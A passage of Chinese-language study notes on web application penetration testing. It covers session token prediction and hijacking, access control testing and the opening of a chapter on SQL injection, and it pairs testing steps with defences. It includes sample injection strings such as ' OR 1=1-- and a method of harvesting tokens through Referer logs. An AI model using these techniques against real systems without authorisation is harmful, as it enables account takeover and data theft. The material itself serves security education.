  • 一个递增或可预测的数字;
  • 客户端的 IP 地址;

虽然结构化令牌经常包含很大的数据量,但并不是每个请求都会使用里面的全部数据,每个请求经常只使用其中的一两个数据项;

渗透测试步骤

  • 从应用程序获取一个令牌,每次修改其中的一个字节,然后重新发送,观察应用程序是否仍然正常响应;如果是的话,说明所修改的部分并未在请求处理过程中发挥作用,可以在接下来的分析中将其排除在外,以减轻分析的负担,提高效率;
  • 在不同的时间,以不同的用户登录,记录服务器发布的令牌数据;
  • 如果允许自我注册,注册一些非常相近的用户名并登录,观察返回的令牌的区别;
  • 如果在登录阶段,有提交一些与用户相关的数据,对其进行系统化的修改,并记录登录后收到的令牌;
  • 对令牌进行分析,查找任何与用户名或其他用户可控制的数据相关的内容;
  • 查找令牌中任何明显的编码或模糊处理方案;常用的方案有 XOR、十六进制、Base64 等;
  • 当对令牌数据的逆向工程取得有意义的结果时,尝试看能否猜测出应用程序最近向其他用户发布的令牌,在一个使用令牌才能显示令牌的页面,发送大量的请求,对猜测结果进行测试;

令牌可预测

有时候令牌中并不包含任何与用户有关的数据,但是令牌的生成本身具有的一定的顺序规律性,因此可以尝试猜测其他可能存在的有效令牌,并发送大量请求进行验证;这种方法的成功率比较低,可能只有千分之一,但是由于可以使用自动化的工具,在短时间内发送大量的请求进行验证(例如验证响应的长度即可区分有效和无效的请求),因此它也能够在短时间内找到很多有效的令牌;

可预测的会话令牌通常源于三点:

  • 隐含序列;
  • 时间依赖;
  • 生成的数字随机性不强;

隐含序列

有时候序列并不是一眼就可以发现的,需要在第一轮的解码后,再做第二轮的算术处理
例如第二个值减去第一个值,之后就会暴露出其中隐藏的模式出来;

时间依赖

有些令牌的生成跟时间有关(一般会呈现递增规律),虽然以毫秒进行计算得到的随机值很大,但是攻击者可以每隔一小段时间就获取令牌,当发现跳跃的时候,很可能是应用程序给一个刚登录的用户生成了令牌,由于攻击者拥有该跳跃前和跳跃后的令牌数据,因此可以大大缩小枚举的范围,通过不断发请求进行尝试,获得用户的有效令牌;攻击者可以使用这个方法一直枚举有效令牌,直至等到管理员登录,届时将直接获得管理员的权限;

生成的数字随机性不强

计算机生成的随机数基本上都是伪随机的,它其实是有规律的,差别在于开发者如何去除它的规律性,如果开发者使用成熟框架的默认函数,则去除的办法相当于被公开了,那么攻击者在获得一个令牌后,就可以推测出下一个令牌的值,甚至之前所有令牌的值;

测试随机性强度

如果收集了足够多的令牌样本后,就可以使用统计方法来判断令牌是否具备随机性;它的基本理念是在大量令牌中判断某些特殊点的出现次数,看它是随机分布的,还是具备一定的规律性;Burp Sequencer 即是一个现成的判断随机性的工具;

两个注意事项:
  • 即使是按照既定算法计算的结果,也是有可能通过随机性测试的,此时并不代表这个令牌没有漏洞,在了解了算法和生成器的内部状态后,就可以非常准确的正向或者逆向推断出它的输出;
  • 没有通过随机机测试的令牌,也不能保证它一定可以被逆向工程;因为部分数据位出现非随机性,不代表整个序列可以被预测;

渗透测试步骤

  • 遍历整个应用程序,观察它是在什么场景下发布新令牌的;一般来说有两种常见的场景会发令牌,一种是登录后,一种是在请求中没有发现令牌的时候;只要找到了这个场景,才能够大量的收集令牌;
  • 使用 Burp Suite 中的 Burp Sequencer 功能对令牌进行实时补获,以便尽可能多的收集令牌,避免错失应用程序给那些真正的用户发布的令牌,同时这样也可以降低对时序的依赖;
  • 如果应用程序使用商业会话管理机制,或者可以本地访问应用程序,则可以在受控的条件下收集无数的令牌;
  • 在 Burp 收集令牌的同时,打开“自动分析”的功能;先至少收集500个令牌,然后详细审查分析结果;即使令牌中有足够的数据位通过了测试,也继续尽可能长时间的收集令牌,并在审查分析结果;
  • 如果令牌未通过随机性测试,并且似乎包含某种模式可用于预测,此时需要更换一个 IP 地址,使用不同的用户名重新开始收集操作;因为令牌有可能使用用户名或者用户的 IP 地址作为令牌生成的参数;
  • 如果攻击者对令牌的生成算法有了把握,接下来最好的办法是使用一段定制的脚本来实施攻击,因为它能够使用观测到的模式来生成令牌,并用上相应的编码技巧;
  • 如果可以查看源代码,则应仔细检查负责生成令牌的代码,了解它使用的机制,并确定是否能够轻易的预测该令牌;
  • 如果确定可以从应用程序数据中的熵实施蛮力攻击,则需要预估一下需要发起的具体请求数;

加密令牌

有些应用程序在令牌中包含有意义的信息,并对这些进行加密;根据所使用的不同加密算法,这种做法可能是有漏洞的;

ECB 密码

ECB 指电子密码本,它经常被一些对称加密算法所使用;它的缺点是明文与密文存在相似的模式,例如相同的分组方法;

由于令牌中的内容不一定会被应用程序全部使用,因此通过更改和拼接分组的内容,可能会导致出现用户伪装的漏洞;

CBC 密码

CBC 表示密码块链,它的出现是为了解决 ECB 存在的漏洞问题,即在将某段明文转换成密文之前,先把它与上一个密文块做 XOR 运算,之后再转换成密文;这样就可以避免 ECB 中存在的分组漏洞问题了;

但是这种方式也引入了新的漏洞,因为攻击者可以让每次请求只修改令牌中的一个字符,虽然更改后的令牌被解密的时候,相应的字段会变成乱码,但由于该段的值会被用做上一段的 XOR 运算输入,即使是乱码值,也有可能生成有意义的 XOR 运算结果;那么,当应用程序没有判断所有字段内容进行令牌有效性判断的话,只读取其中某个字段的值,那么攻击者将有可能伪装成功;

Burp Intruder 中的 bit flipper(位翻转程序)即可以用来测试令牌是否有这方面的漏洞;位翻转对数字类型的值的效果比较好,对文本类型的效果比较差;

当应用程序在令牌中使用某种对称性加密算法时,如果应用程序的其他功能也需要使用加密算法时,很有可能它们会使用同一个对称加密算法,此时如果能在应用程序的其他功能获得某个加密值的源值(例如通过受控账户控制输入值),则可以利用这个信息完全解密任何受保护的信息;

渗透测试步骤

  • 如果会话令牌没有明显的意义,或者本身是连续的,那么令牌很有可能是被加密的;
  • 通过注册几个不同的用户名,每次为用户名多添加一个字符,如果添加一个字符会让令牌的长度增加8或16个字节,则说明应用程序可能使用的是分组密码;此时可以再注册一个添加一个字符的用户名,看是否同样的增加了8或16个字节;
  • 可尝试通过移动令牌中的密文分组进行登录,看应用程序如何反应;
  • 可尝试使用位翻转令牌中有效的荷载源来访问应用程序,如果翻转后应用程序仍然能否正常使用,那么可以扩大范围,对这个部分中的每个值进行测试,以找到更有针对性的攻击方法;
  • 在前述的两种攻击方法中,注意监控应用程序的反应,确定响应中的用户信息是否出现变化;如果有的话,可使用这种方法来尝试提升权限;
  • 在通过增加单个字符来获取更长的令牌的时候,通过反复不断增加字符,最后可以达到应用程序所使用的分组大小,这样就增加了分组边界对齐的概率;然后,对于不同用户名生成的一系列令牌,使用前面两种操作(移动或者翻转)进行尝试

会话令牌处理中的薄弱环节

在网络上泄露令牌

  • 当令牌使用非加密方式在网络上传输时,就有可能导致令牌泄露;之后窃听者并不需要破解令牌,只需要使用获得的令牌就可以伪装成其他用户进行登录了(由于还能够截获其他机密信息,理论上窃听者都可以使用密码自行登录,但有时候为了尽量保持隐秘,有可能没这么做);
  • 有些应用程序在用户初始打开页面的时候,就给用户发了令牌,但是此时却是使用 HTTP 传输,之后等用户登录的时候才转成 HTTPS,并且在用户登录后没有给用户发送新令牌;即使在用户登录后使用新令牌,如果此时用户点击了应用程序中那些不需要验证的页面,转成了 HTTP 传输,此时将直接造成令牌泄露;
  • 有些应用程序对所有静态资源使用 HTTP,如果此时用户已经在之前的页面完成了验证,则将使得令牌泄露;
  • 即使应用在所有页面都使用了 HTTPS 传输,如果攻击者有方法诱使用户发送一个 HTTP 请求,即可以获得这个令牌;(攻击者一般可以通过在电子邮件中或即时消息中给用户发送一个 URL,并在他控制的一个 Web 站点中插入一个自动加载的链接即可完成相应的目的);

渗透测试步骤

  • 以正常方式访问应用程序,进行登录,然后访问应用程序的每一个功能,记录每一个被访问的 URL 以及收到新会话令牌的每种场合;特别注意 HTTP 和 HTTPS 进行切换的场景;可使用网络嗅探器或使用代理服务器中的日志自动化完成这一个工作;
  • 如果应用程序使用 HTTP cookie 来传送会话令牌,此时应注意是否启用 secure 字段,如果没启用的话,则令牌是通过非加密连接传送的,很容易可以实现拦截;
  • 如果初始使用 HTTP,在登录后切换到 HTTPS,确定一下是否有发布新令牌,以及在 HTTP 阶段的令牌是否仍然可用;并且尝试再切换回 HTTP 的页面时,应用程序是否仍然可以访问;
  • 即使应用程序在每一个页面都使用 HTTPS,确认一下服务器是否监听 80 端口,如果是的话,直接使用验证后的会话令牌访问所有的 HTTP URL,确认会话令牌是否被传送;如果有传送,确认下是否依然有效;

在日志中泄露令牌

很多应用程序会为管理员或运营人员提供监控应用状态的功能,这些功能有时会访问应用程序的日志,当这些功能没有得到很好保护的时候,攻击者就有可能使用它来获得所有用户的令牌列表;

日志中之所以有会话令牌,其中一个重要的原因是有很多应用使用 URL 参数来传送令牌,而不是使用 cookie 或者 POST 请求;

处于 URL 参数中的令牌,将会在以下各种场景中被记录:

  • 用户浏览器的日志;
  • Web 服务器的日志;
  • 企业或 ISP 代理服务器的日志;
  • 任何在应用程序主机环境中采用的反向代理日志;
  • 应用程序的用户,点击站外链接访问的任何服务器的 Referer 日志;

虽然 HTTPS 可以防止 URL 中的参数被日志记录,但是如果用户点击了页面中的站外链接,包含参数的完整 URL 将会出现在站外链接服务器收到的消息头中的 Referer 字段中;

渗透测试步骤

  • 找出应用程序的所有功能(参见之前搜索隐藏链接的技巧),找出可以查看会话令牌的任何日志或监控功能;并查明认证可以访问这些功能;
  • 找出应用程序中使用 URL 传送会话令牌的任何情况;即使应用程序在内部都使用安全的传输方式,但在访问外部系统时,有时会使用非安全的传输方式;
  • 如果应用程序在 URL 中传送会话令牌,那么可以寻找一些允许用户自动上传内容的功能,使用这些功能,上传包含站外链接的内容,链接至自己搭建的服务器,等待一段时间,查看日志中的 Referer 字段是否收到任何用户的会话令牌;
  • 如果截获到任何会话令牌,通过拦截服务器的下一个响应,使用截获的 cookie 值添加自己的 Set-Cookie 消息头,来实现切换用户的目的;在 Burp 中,可以使用一个 Suite 范围的配置,在所有指向目标应用程序的请求中设置一个特殊的 cookie,以便在测试期间可以在不同的用户之间快速轻松切换;
  • 如果截获大量的令牌,并且通过截获的令牌可以访问用户的敏感数据,就能通过自动化工具获得大量的其他用户的数据;

令牌-会话映射易受攻击

理想的会话管理机制中,不应该允许同一名用户拥有多个会话,因为这样有很多安全的隐患,例如攻击者利用会话进行连接却不会被发现;

有些应用程序使用静态的会话令牌,这种情况更加糟糕,因为它完全无法判断是否同时存在多个会话,而且令牌永远有效,一旦泄露,更改密码也没有用;

有些应用程序使用用户名+1个随机值来生成令牌,这种机制生成出来的令牌看似随机,但其实跟静态会话可能没有什么两样,因为只要随机值是有效的,这个令牌就自然生效了,完全不需要验证;

渗透测试步骤

  • 用相同的用户账户不同的浏览器或计算机先后登录应用程序,确定这两个会话是否会都处于活动的状态,如果是的话,表示应用程序并行会话;这样截获其他用户令牌的攻击不会有被检测出来的风险;
  • 用相同的账户,在不同的浏览器先后登录并退出系统,比对每次收到的令牌是一样的,还是不同的;如果都一样,说明令牌是静态的,有严重的设计缺陷;
  • 如果令牌包含某有结构和意义,尝试将其他与用户有关的部分隔离出来,单独修改该部分的值,让它指向另外一个用户,确定修改后的令牌是否能否正常使用,以及能否伪装成其他用户;

会话终止易受攻击

让会话的生命周期尽量短有两个好处:

  • 一是可以避免攻击者利用被截获的令牌;
  • 二是可以避免用户使用共享计算机时出现的危险;

有些应用程序设计得很糟糕,要么完全没有让用户自行终止会话的行为,要么即使有也并没有真正的执行;

渗透测试步骤

  • 通过以下方式检查服务端是否执行了终止会话的操作:登录获取一个有效令牌,每间隔一段时间访问一下需要该令牌才能访问的页面,看应用程序是否返回正确的响应(可在自动化工具中设置好时间间隔);
  • 查找一下是否有退出的功能,如果没有,意味着用户无法主动终止会话,存在被攻击的隐患;
  • 如果有退出的功能,在退出后,测试一下原来的令牌是否能够有效,如果有效,表示这是一个假退出;

客户端暴露在令牌劫持风险之中

保存在客户端的令牌有可能存在被窃取的风险,例如使用跨站点脚本、或者固定令牌伪装;

渗透测试步骤

  • 确认应用程序中是否存在跨站点脚本漏洞,看是否可以利用这些漏洞截获其他用户的令牌;
  • 如果应用程序在用户登录前就发令牌,并且登录后仍沿用该令牌,则说明容易受到固定会话攻击;
  • 即使应用程序在用户未登录前没有发令牌,而只是在登录后发令牌,如果在登录后,应用程序允许用户返回登录前的那个页面,这意味着用户很可能可以使用已获得的有效令牌,然后用另外一个用户名登录;如果在登录后,应用程序没有发一个新令牌,那么存在固定会话攻击的漏洞;
  • 确定应用程序会话令牌的格式;用一个格式有效的伪造令牌尝试进行登录,如果应用程序允许使用一个捏造的令牌建立一个通过验证的会话,那么存在固定会话漏洞;
  • 如果应用程序完全依靠 HTTP cookie 传送会话令牌,有可能容易受到跨站点请求伪造(CSRF)的攻击;先登录应用程序,然后在同一个浏览器进程中,在其他站点页面向先应用程序发送一个请求,确认它是否会提交用户的令牌;可利用这个缺陷执行目标用户权限下的一些操作(攻击者需要先确定好相关敏感功能所需要提交的各项参数);

根据 HTTP 协议,服务器在 Set-Cookie 字段中,还可以使用 domain 和 path 两个字段来告知浏览器该 cookie 适用的域名和路径;

如果没有指定 domain 的值,cookie 默认仅适用于当前域及其子域,不包含父域或者兄弟域;

如果服务端在指定 domain 值的时候,设置得过于宽泛,例如 abc.com 之类的根域名,这意味着该 cookie 将在根域名下的任何子域名中都有效;那么任何一个子域名页面,都有机会收集原本属于其他子域名的 cookie;

由于基于域的 cookie 隔离没有同源策略那么严格,当一个应用程序和另外一个漏洞应用程序共享同一个根域名,而只是通过端口号或者协议来区别彼此的时候,攻击者将有机会利用这种漏洞通过一个应用程序获取另一个应用程序的 cookie;

渗透测试步骤

  • 如果应用程序将 cookie 范围放宽到父域,将容易受到通过兄弟域名下的其他应用程序实施的攻击;
  • 如果应用程序使用 domain 的默认值,或者将其设置为当前域名,则子域仍然可以访问 cookie;
  • 确定一个应用程序的所有子域名,如果子域名下有其他应用程序,尝试通过他们获取当前应用程序的 cookie

HTTP 协议支持对 cookie 的作用路径进行指定,默认也是当前路径及其下的子路径;但如果开发者扩大了路径范围,将使得父级路径和兄弟路径的不可信程序有机会控制应用程序;

保障会话管理的安全

生成强大的令牌

有效的令牌生成机制应该具备以下两个特点:

  • 使用数量极其庞大的一组可能值;取值范围应大到让攻击者在令牌有效期无法通过蛮力猜测破解;
  • 包含强大的伪随机源,确保令牌值以无法预测的方式平均分布在取值范围中;

令牌中不应该保存任何有意义的数据,整个会话对象应该保存在服务端;

谨慎选择随机数算法,确保它是不可预测的;当然这也是要付出代价的,越不容易猜测的随机数,意味着计算它的时间越久,使得应用程序的响应越慢;

除了选择最为稳定可靠的随机数算法外,在生成令牌的过程中,加入一些额外的令牌(如访问者 IP,请求的时间截)作为熵源,也是一种良好的作法;

在整个生命周期保障令牌的安全

  • 令牌只能使用 HTTPS 传送;
  • 绝不能在 URL 中传送会话令牌;
  • 总是执行退出功能,删除服务器上的所有会话资源并终止会话令牌;
  • 会话处于非活动状态一段时间后(如10分钟),应执行会话终止;
  • 防止并行登录;每次登录都发布一个新的令牌,同时终止删除现有用户的所有会话;如果旧令牌不能马上删除的话,如果有用户使用旧令牌尝试登录,应给用户发出警报,告知有在其他设备尝试登录;
  • 尽可能限定会话 cookie 的域和路径范围,留意框架或 Web 服务器软件的默认配置;
  • 应严格审查应用程序的源代码,避免存在任何形式的跨站点脚本漏洞;
  • 如果有用户提交服务器不认可的令牌,应立即在浏览器删除该令牌,并将用户返回到应用程序的起始页面;
  • 在执行转账之类的重要操作前,应进行两步确认或重新验证,以便有效防御跨站点请求伪造和其他会话攻击;
  • 跨站点请求伪造攻击之所以可行,其中一个原因在于应用程序可能完全依赖 cookie 来传送令牌,如果应用程序不完全依赖 cookie 传送令牌,例如同时使用每页面令牌,则可以防御跨站点的请求伪造;
  • 成功登录验证后,应总是建立一个新会话,以避免固定会话攻击的影响;如果有无须登录即可提交敏感数据的功能,则不应该在页面上面显示敏感数据,应进行部分隐藏处理;

每页面令牌:除了会话令牌,增加一个每页面令牌,当用户请求一个页面时,生成一个新令牌放在隐藏表单字段中;当用户在该页面发起新请求时,除了验证主令牌外,还验证页面令牌,如果不匹配,整个会话将终止;

日志、监控与警报

会话功能应该与日志和警报功能紧密结合,以帮助管理在必要时采取防御措施;

  • 应用程序应监控包含无效令牌的请求;
  • 如果收到大量包含无效令牌的请求,可将其 IP 屏蔽一段时间;
  • 在日志中保留针对会话攻击的记录,有助于管理员对攻击进行调查;
  • 只要有可能,应向用户警报与会话相关的反常事件,例如并行登录、以便促使用户进行检查;

反应性会话终止:当收到一些显然不可能由普通用户提交的请求时,应该迅速终止会话,以便延长攻击者的探查时间;

小结

现实世界中的会话管理机制通常存在很多漏洞,并且会成为攻击者的重点目标,因为如果能够攻破管理员的会话,往往能够攻破整个应用程序;耐心与不懈往往是完成攻克的最大利器;虽然解译看似随机生成的令牌费时又费力,但是它通常可以获得巨大的回报;

8. 攻击访问控制

常见漏洞

完全不受保护的功能

有些敏感功能在应用程序中使用隐藏的、没有任何访问控制的 URL 来访问,这是非常危险的,因为 URL 可能出现在任何日志中,浏览器的记录、页面 JS 代码和注释等;

直接访问的方法:某些应用程序会将服务器某个对象的方法前移到客户端组件中,由客户端的代码直接调用,此时有可能存在漏洞,例如用户本来只能某个方法,但现在却将对象的所有方法全部暴露了;

基于标识符的功能

服务端的资源经常使用标识符进行访问,有些应用程序会将标识符直接放在请求的 URL 参数中,当标识符很容易被猜测的时候,就很容易被未授权访问;

在某些单页面应用中,不仅资源会使用标识符,连功能都有可能使用标识符,此时如果攻击者发现这些 URL,就可以像拥有高级权限的一样访问它们;

多阶段功能

开发者经常会假设访问第二个阶段的用户一定是通过了第一阶段的验证,但其实不然;攻击者可以利用这个漏洞,直接访问第二个阶段的功能;

静态文件

有些应用程序的静态文件是由 Web 服务器软件管理的,因此它很可能并没有任何的访问控制,只需要有一个 URL 就可以进行访问了;

这些静态文件包括图片、书籍、报告、二进制代码,甚至有时还会有日志文件;

平台配置错误

有些应用程序使用第三方的控件平台来实现访问控制,平台的配置类似防火墙规则的配置,一般基于 HTTP 请求方法、URL路径、用户角色等三个条件实现控制;但是有时开发者会存在规则配置错误的情况,没有完整详细的进行设置,导致可能出现漏洞;

访问控制方法不安全

还有一些奇葩的应用程序会使用客户端提交的参数来做出访问控制;

  • 基于参数的访问控制:例如在参数中指明当前用户是否为管理员;
  • 基于 Referer 的访问控制:有些应用程序基于请求中的 Referer 字段值来控制权限,例如来源于管理页面的请求即表示拥有管理员权限;
  • 基于位置的访问控制:例如基于 IP 地址的地理位置,但是这种方 式很容易被绕过,例如使用代理服务器、VPN、移动设备;

攻击访问控制

在开始探查访问控制漏洞之前,应先就应用程序现有的响应结果进行分析,之后再有针对性的实施探查;

渗透测试步骤

  • 应用程序是否允许用户访问属于他们的特定数据;
  • 是否存在各种级别的用户,应用程序允许他们访问不同的功能;
  • 管理员使用的功能是否也内置在应用程序中;
  • 分析应用程序的哪些功能或资源最有可能帮助攻击者提升当前的权限;
  • 是否存在任何的标识符(以 POST 消息体或 URL 参数的方式),表明其使用某一参数来控制访问级别;

使用不同用户账户进行测试

渗透测试步骤

  • 功能的访问控制:首先使用一个权限较高的账户确认所有可用的功能,然后使用一个权限较低的账户访问这些功能,测试能否垂直提升权限;
  • 资源的访问控制:首先使用一个用户确认当前用户可访问而其他用户无法访问的资源,然后尝试使用另外一个账户来访问这些资源,测试能否水平提升权限(请求相关的 URL 或提交相同的 POST 参数);

Burp Suite 提供使用两个不同的账户来解析应用程序的访问权限控制的功能,可以大大的提高效率;

渗透测试步骤

  • 使用 A 账户正常访问应用程序的所有功能,记录下站点地图;
  • 使用 B 账户访问站点地图中的所有功能,比对结果;
  • 自动化工具此处只能用来收集信息,无法用于判断漏洞是否存在,需要结合应用程序功能访问的信息,才能进一步判断;

测试多阶段过程

多阶段过程由于每个阶段之间存在一定的逻辑顺序关系,经常涉及很多请求,此时需要对过程中的每一个步骤都进行单独的测试,才能判断漏洞是否存在;

渗透测试步骤

  • 在多阶段的过程中,对客户端发给服务端的每个请求,都进行单独的测试,确保每个请求都实施了正确的访问控制;
  • 尝试使用低权限的账户到达某个阶段位置,检测是否可以实施权限提升的攻击;
  • 使用高权限用户完成整个过程,记录下浏览器中的每个请求,之后使用权限较低的用户账号,对于保存的记录再次发起请求,看是否被应用程序允许;

Burp 有个工具可以保存每次请求的上下文,然后可以生成一个自己的 URL,只要在浏览器中输入该 URL,Burp 就会调用保存的上下文,然后重要发送请求;

通过有限访问权限进行测试

应用程序通常有一些隐藏的功能没有体现在界面中,但是却有可能可以访问;

渗透测试步骤

  • 使用第4章的枚举尽可能多的功能;
  • 如果确信应用程序可能会朋管理员的界面功能,可考虑在请求参数中增加 admin=true 之类的字符,确定是否可以访问一些普通用户访问不到的功能;
  • 检查应用程序是否基于 Referer 消息头进行访问控制;尝试删除 Referer 字段值,看是否应用程序会做出不同的反应,如果会的话,说明漏洞可能存在;
  • 检查所有的客户端 HTML 与 JS 脚本,查找有没有隐藏的功能,或者可从客户端进行操纵的功能的引用;

在枚举出应用程序的所有功能后,开始测试应用程序是否正确的对资源进行访问控制;如果应用程序允许用户访问一组内容广泛的相同类型的资源,则用户有机会访问那些未授权的资源;

渗透测试步骤

  • 尝试找到没有权限访问的资源的标识符;
  • 如果有可能生成一系列紧密相连的标识符的话,则可以使用与会话令牌类似的技巧,尝试查找标识符的生成规律;
  • 如果无法生成标识符,则只能通过分析现有的标识符来查找规律;如果标识符的位数比较少,则有可能成功;如很大则很难;
  • 如果资源标识符可以预测,而且访问控制没做好,则可以使用自动化的工具快速获取敏感资源和信息;

如果服务端有将密码发送到客户端,即使不显示,也将是非常危险的,因为只要枚举用户名,就可以获得密码了;

测试“直接访问对象的方法”

如果应用程序允许客户端直接调用服务端某个对象的方法(通常表现为传递对象的名称),例如 servlet=com.ibm.ws.webcontainer.httpsession.IBMTrackerDebug;

渗透测试步骤

  • 确定任何遵循 Java 命名约定(例如 get, set, add, update, is, has+大写单词等),或明确指定包结构(如 com.companname.xxx.yyy.Classname)的参数;
  • 找到列出对象所有方法的方法;先看该方法是否被调用,如果没有,则尝试猜测它的名称;
  • 上网搜索一下相关的方法名称;
  • 猜测其他可用方法的名称;
  • 常用使用各种账户访问收集到的所有方法;
  • 如果不知某个方法的参数数量和类型,则可以先找那些不需要参数的方法;

测试对静态资源的控制

如果某些静态资源可以直接使用 URL 访问,则应该测试一下使用未授权账户是否也能够访问这些资源;

渗透测试步骤

  • 先正常步骤访问某个静态资源,看最终能够获取到它的 URL;
  • 使用权限较低或无权访问该资源的账户,对该 URL 发起请求,看能否成功;
  • 如果可以成功,则开始猜测静态资源的命名方式;尝试设计一个自动枚举名称的脚本,进行自动攻击,获取所有可能有用或可能包含敏感数据的资源;

测试对 HTTP 方法实施的限制

应用程序有可能并没有 HTTP 方法实施平台级控制;

渗透测试步骤

  • 使用一个权限较高的账户登录,执行一些需要高操作权限的动作,例如添加用户、更改用户角色等功能;
  • 确定这些操作是否有受到任何反 CSRF 令牌或类似功能的保护,如果 HTTP 的方法被修改,应用程序是否仍然能够完成请求的内容;待测试的方法包括:GET, POST, HEAD,以及任何无效的 HTTP 方法;
  • 如果应用程序会执行用不同方法提交的请求,则使用低权限的账户,再次进行测试;

保障访问控制的安全

  • 仔细评估应用程序每个功能单元的访问控制要求,包括谁能访问这些功能,以及用户通过这些功能能够访问哪些资源;
  • 使用用户会话做出所有访问控制决定;
  • 使用一个单独的组件检查访问控制;通过这个组件处理所有的每一个客户端请求,确认用户访问的资源是被允许的;
  • 使用编程技巧确保前两项没有例外;例如规定每个页面的访问控制都必须通过公用组件来处理;
  • 对于特别敏感的功能,例如管理员页面,可以增加 IP 地址的限制,确保只有内网中的用户可以访问该功能;
  • 对于静态内容,有两种控制方法,一是通过让客户端传送文件名参数,由后端处理后,间接访问静态文件;二是使用 HTTP 验证,在允许访问前检查资源许可;
  • 任何时候通过客户端传送的资源标识符,都需要对其授权重新确认;
  • 对于安全性很高的功能,考虑对操作进行双重验证,进一步确认该功能举动被未授权方使用;
  • 记录每一个访问敏感数据或执行敏感操作的事件,以便后续检测并调查潜在的非法访问事件;

多层权限模型

除了对应用程序实施良好的访问控制实践,也应将这些实践或思路使用到基础设施中,例如:应用程序服务器、数据库、操作系统等;

  • 数据库应增加多个账户,有些账户只有查询的权限,供应用程序中仅需查询的功能使用;
  • 应在数据库中增加一个权限表,对数据库中不同的数据库表执行严格的访问控制;
  • 只给每个操作系统账户分配最低权限,仅能运行所需的组件即可;

对于需要复杂权限的应用程序,应该设计一张权限矩阵表,进行清晰化的控制,示例如下:

常见的访问控制概念

  • 编程控制:将数据库权限矩阵保存在一个数据库表中,并以编程的形式做出访问控制决定;
  • 自主访问控制:由管理员分配资源权限给其他用户,分配规则可以是封装式(白名单),也可以是开放式的(黑名单)
  • 基于角色的访问控制:创建很多命名的角色,给用户分配角色;使用角色对用户的请求进行检查;
  • 声明式控制:应用程序使用有限的数据库账户访问数据库,每个账户仅分配到执行所允许操作的最低权限;

渗透测试步骤

虽然使用多层控制模型的应用程序可以避免很多常见的访问控制漏洞,但是仍然有一些潜在的漏洞

  • 应用程序的源代码有可能容易受到注入类的攻击;
  • 角色定义不全面或不完整;
  • 低权限的操作系统账户仍然可以访问敏感数据;
  • 应用程序服务器软件本身存在漏洞;
  • 某个小漏洞可能成为实现权限大提升的突破点;

小结

许多时候,突破访问控制非常容易;有时在一些高度安全的应用中则很难;“四处看看”是攻击访问控制的最有效方法,如果能够耐心的测试应用程序的每一项功能,也许不久就可以发现一个能攻破整个应用程序的漏洞;

9. 攻击数据存储区

注入解释型语言

如果使用普通用户登录进行查询,然后使用数据库语言进行注入攻击,有可能直接绕开应用程序的访问控制检查;

渗透测试步骤

  • 提交可能在解释型语言中引发问题的无效语法;
  • 检查应用程序的响应,看是否存在代码注入漏洞的反常现象;
  • 如果收到错误消息,从中获取服务端发生某种问题的证据;
  • 系统性的修改初始输入,尝试确定或否定之前的漏洞假设;
  • 构造一个漏洞验证框架,以可证实的方式执行某些安全的命令,收集证据,检查是否存在漏洞;
  • 利用目标语言和组件的功能来实现攻击,对其中已公开的漏洞加以利用;

注入 SQL

如果在本地安装一个与目标应用程序相同的数据库的话,会提高注入的效率,因为很多注入命令可以先在本地数据库进行尝试,观察并结合本地数据库的返回结果,之后再去猜测目标服务器的结果会更容易理解其内部发生的情况;

利用一个基本的漏洞

基本原理是利用 SQL 解释型语言动态解释 SQL 语句的特点,在查询参数中添加单引号、注释符等在 SQL 中有意义的关键符号,使得语句进入解释器后,执行不同的查询操作;

1
2
3
4
5
6
# 输入项为 "Reilly"
SELECT author, title, year FROM books WHERE publisher='Reilly' and published=1
# 修改输入项为 Reilly' OR 1=1--,查询语句变成如下
SELECT author, title, year FROM books WHERE publisher='Reilly' OR 1=1--' and published=1
# 修改输入项为 Reilly' OR 'a' = 'a,查询语句变成如下
SELECT author, title, year FROM books WHERE publisher='Reilly' OR 'a' = 'a' and published=1

注入不同的语句类型

SELECT 语句

用来查询数据,一般配合 WHERE 使用;

INSERT 语句

用于插入数据行,攻击可利用漏洞来为自己创建管理员账户;有时不知道插入值需要多少个参数,此时需要挨个添加(添加整数1或2000),并进行测试;

UPDATE 语句

用于修改表中一行或多行的数据;UPDATE 与 INSERT 很像,区别在于多了 WHRER 部分来指定待更新的行;

对 UPDATE 的漏洞进行探查有很大的风险,因为它很有可能一不小心就修改了数据库里面的很多数据;

DELETE 语句

用于删除表中一行或者几行的数据;运行机制很像 UPDATE 语句,它同样也有很大的破坏当前数据库的风险;

查明 SQL 注入漏洞

正常情况下,所有提交给服务端的参数,最终可能都会传递到数据库函数进行处理;因此,通过检查这些提交的数据项,发现可能存在的漏洞;

有时候应用程序会从多个请求中收集数据,待收集完整后,才会写入数据库,因此,如果有多阶段的过程,需要对该功能发送的所有数据进行遍历;如果只处理单个请求,则可能会遗漏漏洞;

注入字符串数据

渗透测试步骤

  • 提交一个单引号作为目标查询的数据,观察是否会造成错误,或查询结果与原始结果不同;
  • 如果发现错误或者异常行为,在提交的数据中包含两个单引号(连着,单引号的转义),看会如何反应;如果错误或异常消失,则表明很可能有注入漏洞;
  • 使用 SQL 连接符,在提交的数据中增加一个等同于正常输入的字符串,来进一步核实漏洞是否存在;不同数据库软件的连接符不同:
    • MySQL: ‘ ‘FOO (注:两个引号之间有空格)
    • MS-SQL: ‘+’FOO
    • Oracle: ‘||’FOO

可在特定的查询参数中使用 SQL 通配符 %,看是否会返回更多的结果,如果是的话,说明提交的数据正与后端数据库交互;

在提交的输入中添加单引号后,如果服务端返回这个输入的话,会导致客户端的 js 脚本在处理它时出现报错;因为单引号在 js 里面也一个关键字符;

注入数字数据

一般情况下,当数字参数传输到服务端时,一般应用程序会将其加单引号处理,但有时候也有可能没有处理,直接发给数据库软件;

渗透测试步骤:

  • 尝试输入一个运算结果等于原始结果的算术表达式,例如原始值为2,则输入 3-1,或者 1+1;如果应用程序仍然能够正常反应,则存在注入漏洞;
  • 如果前面的方法取得成功,则接下来可以使用更加复杂和特殊的 SQL 关键字和语法的表达式进一步探查该漏洞,例如使用 ASCII 命令来将字符或数字转成数值类型的 ASCII 码,例如 67-ASCII(A)等同于 67-65,也即等于2;
  • 如果单引号被过滤掉,则前面的方法可能无效;此时可以利用数据库会解析 ASCII 命令的特点,例如:51-ASCII(1) 等于 51-49,也即等于2;

在使用特殊字符探查 SQL 注入漏洞时,需要提前留意一点,即输入是需要先被 HTML 编码之后,才会传输到服务端时,因此我们还需要将字符进一步转为 HTML 编码,才能达到预期的目标;

  • & 和 = 在 HTML 中应该以 %26 和 %3d 来表示;
  • 查询字符串不允许有空格,因此空格需要使用 %20 或者 + 来表示;
